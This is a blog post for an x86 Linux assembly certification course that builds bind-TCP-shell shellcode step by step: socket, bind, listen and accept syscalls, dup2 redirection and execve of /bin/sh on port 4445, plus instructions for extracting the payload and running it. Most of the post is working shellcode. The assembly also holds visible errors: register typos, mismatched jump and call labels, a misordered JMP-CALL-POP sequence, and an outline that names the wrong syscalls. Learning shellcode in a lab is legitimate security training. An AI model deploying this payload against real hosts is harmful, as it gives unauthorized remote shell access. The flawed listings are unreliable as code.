Bind TCP Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-1517


SLAE Assignment #1 - Create a Shell_BIND_TCP Shellcode

    - Binds to a port
    - Execs Shell on incoming connection
    - Port number should be easily configurable


Creating a BIND_TCP shell can be broken down into 4 functions.

0x1 socket
0x2 connect
0x3 execve
0x4 accept
0x5 execve

... let us begin

0x1 - socket

First, we create a socket. socket() requires 3 arguments: domain, type, protocol as seen below.

domain = AF_INET or 0x2

type = SOCK_STREAM or 0x1

protocol = TCP or 0x6

We will also be using this net.h file when we invoke the syscalls which are the networking handling part of the kernel.

We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)

               push 0x6
               push 0x1
               push 0x2

Once the socket has been created, we then invoke the socketcall() syscall

             xor eax, eax              ;remove x00/NULL byte
             mov al, 0x66             ;syscall 102 (x66) for socketcall
             xor ebx, ebx             ;remove x00/NULL byte
             mov bl, 0x1              ;net.h SYS_SOCKET 1 (0x1)
             xor ecx, ecx             ;remove x00/NULL byte
            mov ecx, esp             ;arg 2, esp address to ecx
            int 0x80                    ;interrupt/excute

            mov edi, eax             ;sockfd, this will be referenced throughout the 

0x2 -bind

One common concept in SLAE course is the use of JMP-CALL-POP which allows a way to dynamically access addresses. This is because if a call instruction is used, the next instruction is automatically loaded into the stack.

                jmp short port_to_blind        

               pop esi                  ; pops ESP addr
              xor eax, eax          ;remove x00/NULL byte
              push eax               ;push eax NULL value to the stack
              push word[esi]     ;push actual port number to the stac, word=2 bytes
              mov al, 0x2          ;AF_INET IPv4
              push ax
              mov edx, esp        ;store stack addr (struct sockaddr)
              push 0x10            ;store length addr on stack
              push edx              ;push strct sockaddr to the stack
              push edi               ;sockfd from the eax _start
              xor eax, eax         ;remove x00/NULL byte
              mov al, 0x66        ;syscall 102 for socketcall
              mov bl, 0x02        ;net.h SYS_BIND 2 (0x02)
              mov ecx, esp        ;arg for SYS_BIND
              int 0x80               ;interrupt/execute

              call call_bind
              port_number dw 0x5d11  ;port 4445 (0x115d)
                                                        ;this gets pushed to the stack after the call instruction

0x3 - listen

The listen() syscall is pretty straightforward.

            push 0x1                         ; int backlog
            push edi                          ; sockfd from eax _start
           xor eax, eax                    ;remove x00/NULL byte
           mov al, 0x66                   ;syscall 102 for socketcal
           xor ebx, ebx                    ;remove x00/NULL byte
          mov bl, 0x4                      ;net.h SYS_LISTEN 4
          xor ecx, ecx                     ;remove x00/NULL byte
          mov ecx, esp                    ;arg for SYS_LISTEN
          int 0x80                           ;interrupt/execute

0x4 - accept

Likewise, accept() is pretty straight forward.

             xor ear, eax                  ;remove x00/NULL byte
             push eax                       ;push NULL value to addrlen
             xor ebx, ebx                 ;remove x00/NULL byte
            push ebx                       ;push NULL value to addr
            push edi                        ;sockfd from eax _start
            mov al, 0x66                 ;syscall 102 for socketcall
            mov bl, 0x5                   ;net.h SYS_ACCEPT 5
            xor ecx, ecx                  ;remove x00/NULL byte
            mov ecx, esp                 ;arg for SYS_ACCEPT
            int 0x80                         ;interrupt/execute

0x4a - change_fd

This is all the dup2() functions which ensure file /bin/sh goes through the socket connection

            mov ebx, eax                  ;moves fd from accept to ebx
            xor ecx, ecx                    ;removes 0x00/NULL byte, 0 (std in)
            xor eax, eax                   ;removes 0x00/NULL byte
            mov al, 0x3f                  ;syscall 63 for dup2
            int 0x80                         ;interrupt/execute

            mov al,0x3f                   ;syscall 63 for dup2
            inc ecx                           ;+1 to ecx, 1 (std out)
            int 0x80                         ;interrupt/execute

            mov al, 0x3f                  ;syscall 63 for dup2
            inc ecx                           ;+1 to ecx, 2 (std error)
            int 0x80                         ;interrupt/execute

0x5 - execve

At this point we have successfully set-up our socket() and we can establish a bind() port, listen() on incoming connections and accept() it. We are now ready to run our execve(). Once the connection is established, execve will be used to execute /bin/sh.

The following instructions are taken directly from the execve module of the SLAE course.

             xor eax, eax                 ;removes x00/NULL byte
             push eax                      ;push first null dword

             push 0x68732f2f          ;hs// 
             push 0x6e69622f          ;nib/

              mov ebx, esp              ;save stack pointer in ebx
             push eax                       ; push null byte as 'null byte terminator'
             mov edx, esp               ;moves address of 0x00hs//nib/ into ecx

             push ebx
             mov exc, esp

             mov al, 0xb                 ; syscall 11 for execve
             int 0x80

And we are done!

Testing our bind shell.

We compile nasm file and execute it.

Then using another machine (Kali), I connect to the ubuntu which spawns /bin/sh shell and we can run commands remotely.

Ubuntu IP:

We can also run the netstat command in the ubuntu machine to verify the established connection between the BT and Ubuntu machines:

Success..we can see the connection established.

Finally, we use objdump to obtain the shellcode from our executable

***Note the last 2 bytes of the shellcode is the port to bind on. Keeping in mind little-endian structure. We should be able to just change the last 2 bytes of the shellcode to configure a different port to bind on.

Here's an example of using the shellcode with a .c program

We compile shellcode.c, execute it and connect to 4445 from out BT machine.